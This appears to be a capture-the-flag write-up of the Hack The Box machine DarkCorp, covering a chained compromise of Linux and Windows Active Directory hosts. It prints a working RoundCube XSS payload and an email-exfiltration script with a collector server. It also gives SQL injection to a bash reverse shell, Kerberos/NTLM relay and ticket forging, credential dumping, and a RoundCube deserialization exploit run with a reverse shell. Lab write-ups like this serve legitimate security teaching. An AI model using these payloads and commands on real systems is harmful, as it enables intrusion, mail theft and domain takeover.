Insane

HTB: DarkCorp

QA210 ยท Feb 8, 2025 ยท 3 Hosts ยท AD ยท Linux + Windows
Box
DarkCorp
Difficulty
Insane
OS
Windows
User
02:45:55
Root
03:11:42
Creators
0xEr3bus, ctrlzero
DRIP โ†’ CVE-2024-42009 XSS โ†’ email exfil โ†’ bcase
DRIP โ†’ SQLi โ†’ PG RCE โ†’ postgres@drip
DRIP โ†’ GPG backup decrypt โ†’ victor.r@darkcorp.htb
WEB-01 โ†’ NTLM relay + DNS + Printer Bug โ†’ Admin@WEB-01
WEB-01 โ†’ DPAPI stored cred โ†’ spray โ†’ john.w@darkcorp.htb
DC-01 โ†’ Shadow Credential โ†’ angela.w@darkcorp.htb
DRIP โ†’ UPN Spoofing โ†’ angela.w.adm@drip โ†’ root@drip
DRIP โ†’ SSSD cached creds โ†’ taylor.b.adm@DC-01
DC-01 โ†’ GPO Abuse โ†’ Administrator@DC-01

Recon

Initial Scanning

Two TCP ports open โ€” SSH on 22 and HTTP on 80. The OS fingerprint is confusing: OpenSSH and nginx versions scream Debian 12 (Bookworm), but TTL 127 is a Windows hop indicator. HTB tags this as a Windows box, so a Linux VM/container on a Windows hypervisor is likely.

bash
$ nmap -p- -vvv --min-rate 10000 10.10.11.54
Nmap scan report for 10.10.11.54
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
bash
$ nmap -p 22,80 -sCV 10.10.11.54
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3
80/tcp open  http    nginx 1.22.1
|_http-title: Site doesn't have a title (text/html).

Subdomain Fuzz

Visiting the IP redirects (via JavaScript) to drip.htb. Since the server is doing host-based routing, subdomain fuzzing is the next logical step. ffuf with auto-calibration picks up a single result:

bash
$ ffuf -u http://10.10.11.54 -H "Host: FUZZ.drip.htb" \
    -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac

mail                    [Status: 200, Size: 5323, Words: 366]

Add both to /etc/hosts:

bash
10.10.11.54 drip.htb mail.drip.htb

drip.htb โ€” TCP 80

The main site is a webmail solutions company page using the Volt Bootstrap theme from Themesberg. Notable features:

Response headers don't reveal much beyond nginx/1.22.1. The 404 page is generic, and feroxbuster finds nothing beyond /index and /contact.

mail.drip.htb

RoundCube webmail instance. Registering on drip.htb creates working credentials here. The "About" dialog reveals the version is 1.6.7. Both session cookies have HttpOnly set โ€” direct cookie theft via XSS is off the table.

Registering a user named root is interesting: it receives cron-driven emails every two minutes that leak another username (ebelford) and the mail server software (Dovecot).

Shell as postgres@drip

Contact Form โ€” HTML + Recipient Override

The contact form POST contains two hidden fields: content=text and recipient=support@drip.htb. Both are user-controllable. Changing the recipient to my own account delivers the mail to me instead. Changing content from text to html makes the server render HTML in the email body.

http
POST /contact HTTP/1.1
Host: drip.htb
Content-Type: application/x-www-form-urlencoded

name=qa210&email=qa210@drip.htb&message=<body>HTML+<b>test</b></body>&content=html&recipient=qa210%40drip.htb

CVE-2024-42009 โ€” RoundCube Stored XSS

This version (1.6.7) is vulnerable to CVE-2024-42009, a desanitization XSS discovered by Sonar Source. The washtml sanitizer correctly strips dangerous attributes, but the post-processing step that converts bgcolor uses a regex that can be tricked:

bash
# The broken regex:
/\s?bgcolor=["\']*[a-z0-9#]+["\']*/i

# Bypass: nest bgcolor inside another attribute
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(origin) foo=bar">
  Pwned
</body>

The regex rips out bgcolor=foo" and the leftover quotes collapse, leaving a valid style + onanimationstart handler on the <body> tag.

Loading a Remote Script

To make the payload reusable, I base64-encode a script loader and use eval(atob()):

bash
# Loader payload (base64 of JS that creates a script tag)
PAYLOAD=$(echo -n 'var s=document.createElement("script");s.src="http://10.10.14.8/qa.js";document.head.appendChild(s);' | base64 -w0)

# Full HTML payload
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=eval(atob('${PAYLOAD}')) foo=bar">
  Click
</body>

Sending this to bcase@drip.htb triggers the XSS in their browser. Within seconds, a GET request for /qa.js arrives from the target IP.

Email Exfiltration

RoundCube opens individual emails at URLs like /?_task=mail&_action=show&_uid=ID&_mbox=INBOX&_extwin=1. My exfil script iterates through message IDs and POSTs the base64'd content back:

javascript
// qa.js โ€” exfil bcase inbox
for (let i = 1; i <= 20; i++) {
  fetch(`/mail/?_task=mail&_action=show&_uid=${i}&_mbox=INBOX&_extwin=1`, {mode:'no-cors'})
    .then(r => r.text())
    .then(t => fetch(`http://10.10.14.8/exfil?id=${i}&d=` + btoa(t)));
}

A lightweight Flask collector processes the callbacks:

python
from flask import Flask, request
import base64

app = Flask(__name__)

@app.route('/exfil')
def collect():
    mid = request.args.get('id')
    data = base64.b64decode(request.args.get('d'))
    if b'SERVER ERROR' not in data:
        with open(f'bcase_{mid}.html', 'wb') as f:
            f.write(data)
        print(f'[+] Saved email #{mid}')
    return 'ok'

@app.route('/qa.js')
def payload():
    return open('qa.js').read(), {'Content-Type':'application/javascript'}

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Email #2 is the prize โ€” from ebelford, it reveals a private subdomain: dev-a3f1-01.drip.htb.

Dev Dashboard Access

The dev subdomain hosts a login form. Clicking "Reset Password" and entering bcase@drip.htb sends a reset link to the mailbox. Since we can read bcase's mail, we intercept the link, set a new password, and log in.

The Analytics page at /analytics has a search feature that crashes with a raw PostgreSQL error โ€” the input is concatenated directly into the SQL query without quoting.

SQLi โ†’ RCE via COPY TO PROGRAM

Stacked queries are enabled, so we can execute arbitrary SQL. The classic Postgres RCE technique uses COPY ... TO PROGRAM, but the word "COPY" is filtered. Bypassing with CHR(67):

sql
'qa210'; DO $$ DECLARE cmd text; BEGIN
  cmd := CHR(67) || 'OPY (SELECT $$') to program ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
  EXECUTE cmd;
END $$;
Info

An alternative RCE path exists via archive_command โ€” modifying the PostgreSQL config to set archive_command to a reverse shell and reloading the config. The COPY TO PROGRAM method is simpler.

bash
$ nc -lvnp 443
Connection from 10.10.11.54 60444!
bash: cannot set terminal process group (126146): Inappropriate ioctl for device
postgres@drip:/var/lib/postgresql/15/main$

Auth as Victor@darkcorp.htb

Drip Enumeration

The shell runs as postgres on host drip at 172.16.20.3. Three user homes exist (bcase, ebelford, vmail), and there's a .gnupg directory in the postgres home.

Connecting to the database directly reveals the dripmail database with Admins and Users tables. The password hashes are MD5 but only the one I set for bcase cracks.

bash
postgres@drip:~$ psql -d dripmail -c 'SELECT * FROM "Admins";'
 id | username |             password             |      email
----+----------+----------------------------------+-----------------
  1 | bcase    | 465e929fc1e0853025faad58fc8cb47d | bcase@drip.htb

Internal Network

A ping sweep reveals two more hosts on the 172.16.20.0/24 network:

bash
postgres@drip:~$ for i in $(seq 1 254); do ping -c1 -W1 172.16.20.$i 2>/dev/null | grep 'bytes from' & done
172.16.20.1   # DC-01 โ€” Domain Controller
172.16.20.2   # WEB-01 โ€” IIS + monitoring app

The /etc/hosts file confirms the hostnames and adds the domain darkcorp.htb.

GPG Backup Decryption

A PGP-encrypted SQL dump sits in /var/backups/postgres/dev-dripmail.old.sql.gpg. The Flask app's .env file in /var/www/html/dashboard contains a database password that doubles as the GPG passphrase:

bash
postgres@drip:~$ gpg --batch --passphrase '2Qa2SsBkQvsc' -d /var/backups/postgres/dev-dripmail.old.sql.gpg

The decrypted dump contains an older version of the Admins table with two extra entries:

sql
COPY public."Admins" (id, username, password, email) FROM stdin;
1   bcase       dc5484871bc95c4eab58032884be7225    bcase@drip.htb
2   victor.r    cac1c7b0e7008d67b6db40c03e76b9c0    victor.r@drip.htb
3   ebelford    8bbd7f88841b4223ae63c8848969be86    ebelford@drip.htb

victor.r's hash cracks to victor1gustavo@# on CrackStation. These credentials work against the domain:

bash
$ proxychains -q nxc smb 172.16.20.1 -u victor.r -p 'victor1gustavo@#'
SMB  172.16.20.1  445  DC-01  [+] darkcorp.htb\victor.r:victor1gustavo@#

Shell as Administrator@WEB-01

Domain Enumeration

With domain creds, standard enumeration reveals MachineAccountQuota = 0 (can't create machine accounts) and ADCS is running with certificate authority DARKCORP-DC-01-CA.

WEB-01's port 5000 serves a monitoring dashboard behind HTTP auth. victor.r's creds work. The Check Status feature at /check lets you pick a target host and port โ€” the server makes an HTTP request to that target.

Catching NTLM Auth

Pointing the status check at a host we control with Responder captures an NTLM authentication attempt from svc_acc:

bash
$ sudo responder -I tun0
[HTTP] NTLMv2 Client   : 10.10.11.54
[HTTP] NTLMv2 Username : darkcorp\svc_acc
[HTTP] NTLMv2 Hash     : svc_acc::darkcorp:ffdb62442934ec99:63F597E3C5D43836...

The Net-NTLMv2 hash won't crack, but BloodHound shows svc_acc is a member of DNSADMINS โ€” they can create/modify DNS records.

DNS Relay + Printer Bug โ†’ Silver Ticket

The attack chain combines three techniques:

  1. DNS record creation via NTLM relay โ€” Relay svc_acc's auth to LDAP and create a fake DNS record pointing to our IP
  2. Printer Bug coercion โ€” Force WEB-01$ to authenticate to our DNS name
  3. Kerberos relay to ADCS โ€” Relay the machine account's Kerberos auth to the certificate enrollment endpoint
Info โ€” DNS Record Trick

To relay Kerberos, we need a DNS name that the DC will recognize as DC-01. The trick from the Synactiv post appends a CREDENTIAL_TARGET_INFORMATION structure to the hostname: dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA

Step 1 โ€” Create the DNS record by relaying svc_acc's NTLM to LDAP:

bash
$ proxychains ntlmrelayx.py -t 'ldap://172.16.20.1' \
    --add-dns-record 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 10.10.14.8
[*] Added A record dc-011UWhR... pointing to 10.10.14.8

Step 2 โ€” Set up Kerberos relay targeting the ADCS web enrollment:

bash
$ proxychains krbrelayx.py \
    -t 'https://dc-01.darkcorp.htb/certsrv/certfnsh.asp' \
    --adcs -v 'WEB-01$'
[*] GOT CERTIFICATE! ID 5
[*] Writing PKCS#12 certificate to ./WEB-01$.pfx

Step 3 โ€” Trigger printer bug to coerce WEB-01$ into authenticating to us:

bash
$ proxychains printerbug.py 'darkcorp/victor.r:victor1gustavo@#@WEB-01.darkcorp.htb' \
    dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA
[*] Triggered RPC backconnect

Step 4 โ€” Authenticate with the certificate and forge a silver ticket:

bash
$ proxychains certipy auth -pfx 'WEB-01$.pfx' -domain darkcorp.htb -dc-ip 172.16.20.1
[*] Got hash for 'web-01$@darkcorp.htb': aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675

$ proxychains lookupsid.py -hashes :8f33c7fc7ff515c1f358e488fbb8b675 \
    'darkcorp.htb/WEB-01$@DC-01.darkcorp.htb'
[*] Domain SID is: S-1-5-21-3432610366-2163336488-3604236847

$ ticketer.py -nthash 8f33c7fc7ff515c1f358e488fbb8b675 \
    -domain darkcorp.htb \
    -domain-sid S-1-5-21-3432610366-2163336488-3604236847 \
    -spn cifs/web-01.darkcorp.htb Administrator
bash
$ KRB5CCNAME=Administrator.ccache proxychains evil-winrm-py -i web-01 -u administrator -H 88d84ec08dad123eb04a060a74053f21
evil-winrm-py PS C:\Users\Administrator\Desktop> cat user.txt
da2e66e0************************

Auth as john.w@darkcorp.htb

Scheduled Tasks โ†’ DPAPI Creds

WEB-01 has a scheduled task CleanupScript running cleanup.ps1 every 2 minutes as the local Administrator. The CredentialManager PowerShell module is installed, meaning credentials are stored via DPAPI.

powershell
PS> Get-ScheduledTask | ? {$_.State -ne "Disabled"} | Select TaskName, @{N="User";E={$_.Principal.UserId}} | ft -a

TaskName          User
--------          ----
CleanupScript     Administrator
HTB-Stability     SYSTEM

Since the scheduled task runs as the Administrator, the DPAPI master keys can be decrypted using the machine context. Both DonPAPI and nxc --dpapi extract the stored credential:

bash
$ KRB5CCNAME=Administrator.ccache proxychains DonPAPI collect -k --no-pass -t WEB-01.darkcorp.htb
[WEB-01] [SYSTEM][CREDENTIAL] Domain:batch=TaskScheduler:Task:... - WEB-01\Administrator:But_Lying_Aid9!

Running with the Administrator password to access the user DPAPI context reveals a second stored credential:

bash
$ proxychains nxc smb 172.16.20.2 -u administrator -p 'But_Lying_Aid9!' --local-auth --dpapi
[Administrator][CREDENTIAL] LegacyGeneric:target=WEB-01 - Administrator:Pack_Beneath_Solid9!

Password Spray

Spraying Pack_Beneath_Solid9! across all domain users:

bash
$ proxychains nxc smb 172.16.20.1 -u users.txt -p 'Pack_Beneath_Solid9!' --continue-on-success
SMB  172.16.20.1  445  DC-01  [+] darkcorp.htb\john.w:Pack_Beneath_Solid9!

Auth as angela.w@darkcorp.htb

Shadow Credential Attack

BloodHound shows john.w has GenericWrite over angela.w. This is enough to perform a Shadow Credential attack โ€” adding a Key Credential to the target object and then authenticating with it:

bash
$ proxychains certipy shadow auto -username john.w -p 'Pack_Beneath_Solid9!' \
    -account angela.w -target dc-01.darkcorp.htb
[*] Successfully added Key Credential
[*] Got TGT
[*] NT hash for 'angela.w': 957246c8137069bca672dc6aa0af7c7a

Shell as angela.w.adm@drip

UPN Spoofing

BloodHound shows angela.w.adm is a member of Linux Admins โ€” an interesting target for the Linux host. The trick is that angela.w and angela.w.adm are separate AD accounts, but by abusing UPN Spoofing (as described by Pen Test Partners), we can make the KDC issue a ticket that the Linux SSSD client interprets as angela.w.adm.

The attack: set angela.w's userPrincipalName to angela.w.adm, then request a TGT with NT_ENTERPRISE principal type so the UPN is used:

bash
$ proxychains bloodyAD -d darkcorp.htb -H dc-01 -u john.w -p 'Pack_Beneath_Solid9!' \
    set object angela.w userPrincipalName -v angela.w.adm
[+] angela.w's userPrincipalName has been updated

$ proxychains getTGT.py -hashes :957246c8137069bca672dc6aa0af7c7a \
    -principalType 'NT_ENTERPRISE' darkcorp.htb/angela.w.adm
[*] Saving ticket in angela.w.adm.ccache

Transfer the ccache to the Linux host and authenticate with ksu:

bash
ebelford@drip:~$ KRB5CCNAME=angela.w.adm.ccache ksu angela.w.adm
Authenticated angela.w.adm@DARKCORP.HTB
Account angela.w.adm: authorization for angela.w.adm@DARKCORP.HTB successful
angela.w.adm@drip:~$
Warning

A cleanup script periodically removes the UPN from angela.w. If ksu fails with "TGT has been revoked", re-add the UPN and get a fresh ticket.

Shell as root@drip

angela.w.adm has full sudo privileges:

bash
angela.w.adm@drip:~$ sudo -l
User angela.w.adm may run the following commands on drip:
    (ALL : ALL) NOPASSWD: ALL

angela.w.adm@drip:~$ sudo -i
root@drip:~#

Shell as taylor.b.adm@DC-01

SSSD Cached Credentials

The Linux host uses SSSD for AD authentication with cache_credentials = True. The cached password hashes are stored in /var/lib/sss/db/:

bash
root@drip:/var/lib/sss/db# ldbsearch -H cache_darkcorp.htb.ldb '(cachedPassword=*)'
name: taylor.b.adm@darkcorp.htb
cachedPassword: $6$5wwc6mW6nrcRD4Uu$9rigmpKLyqH/.hQ520PzqN2/6u6PZpQQ93ESam/OHvlnQKQppk6DrNjL6ruzY7WJkA2FjPgULqxlb73xNw7n5.

The SHA-512 crypt hash cracks with hashcat:

bash
$ hashcat -m 1800 taylor.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
$6$5wwc6mW6nrcRD4Uu$9rigmpKLy...:!QAZzaq1

Domain verification:

bash
$ proxychains nxc winrm 172.16.20.1 -u taylor.b.adm -p '!QAZzaq1'
WINRM  172.16.20.1  5985  DC-01  [+] darkcorp.htb\taylor.b.adm:!QAZzaq1 (Pwn3d!)

$ proxychains evil-winrm-py -i dc-01 -u taylor.b.adm -p '!QAZzaq1'
evil-winrm-py PS C:\Users\taylor.b.adm\Documents>

Shell as Administrator@DC-01

GPO Abuse

taylor.b.adm is a member of gpo_manager, which has GenericWrite on the SecurityUpdates GPO. This GPO is linked to the domain and applies to all machines.

SharpGPOAbuse gets blocked by AMSI, so the Python-based pyGPOabuse is the way to go:

bash
$ proxychains pygpoabuse.py 'darkcorp.htb/taylor.b.adm:!QAZzaq1' \
    -gpo-id 652CAE9A-4BB7-49F2-9E52-3361F33CE786 \
    -command 'net localgroup administrators taylor.b.adm /add' \
    -f
[+] ScheduledTask TASK_0b270770 created!

After gpupdate /force (or waiting for the next refresh), taylor.b.adm becomes a local administrator on DC-01. Now we can dump the entire domain:

bash
$ proxychains secretsdump.py 'darkcorp.htb/taylor.b.adm:!QAZzaq1@dc-01'
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fcb3ca5a19a1ccf2d14c13e8b64cde0f:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7c032c3e2657f4554bc7af108bd5ef17:::
...
bash
$ proxychains evil-winrm-py -i dc-01 -u administrator -H fcb3ca5a19a1ccf2d14c13e8b64cde0f
evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt
2dc68348************************

Beyond Root

CVE-2025-49113 โ€” RoundCube Post-Auth RCE

After the box retired, a new critical RCE was disclosed for RoundCube โ‰ค 1.6.10. The vulnerability is a PHP object deserialization via the _from parameter in settings/upload.php.

bash
$ php CVE-2025-49113.php http://mail.drip.htb qa210 qa210 'ping -c 1 10.10.14.8'
### Roundcube โ‰ค 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
### Authentication successful
### Command to be executed: ping -c 1 10.10.14.8
### Exploit executed successfully

ICMP confirmation:

bash
$ sudo tcpdump -ni tun0 icmp
21:27:25.865542 IP 10.10.11.54 > 10.10.14.8: ICMP echo request, id 1000, seq 1, length 64

Reverse shell variant:

bash
$ php CVE-2025-49113.php http://mail.drip.htb qa210 qa210 \
    'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'

$ nc -lvnp 443
www-data@drip:/var/www/roundcube$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

This gets www-data instead of postgres, but from there the same escalation path applies โ€” the PostgreSQL service is accessible and the same RCE techniques work.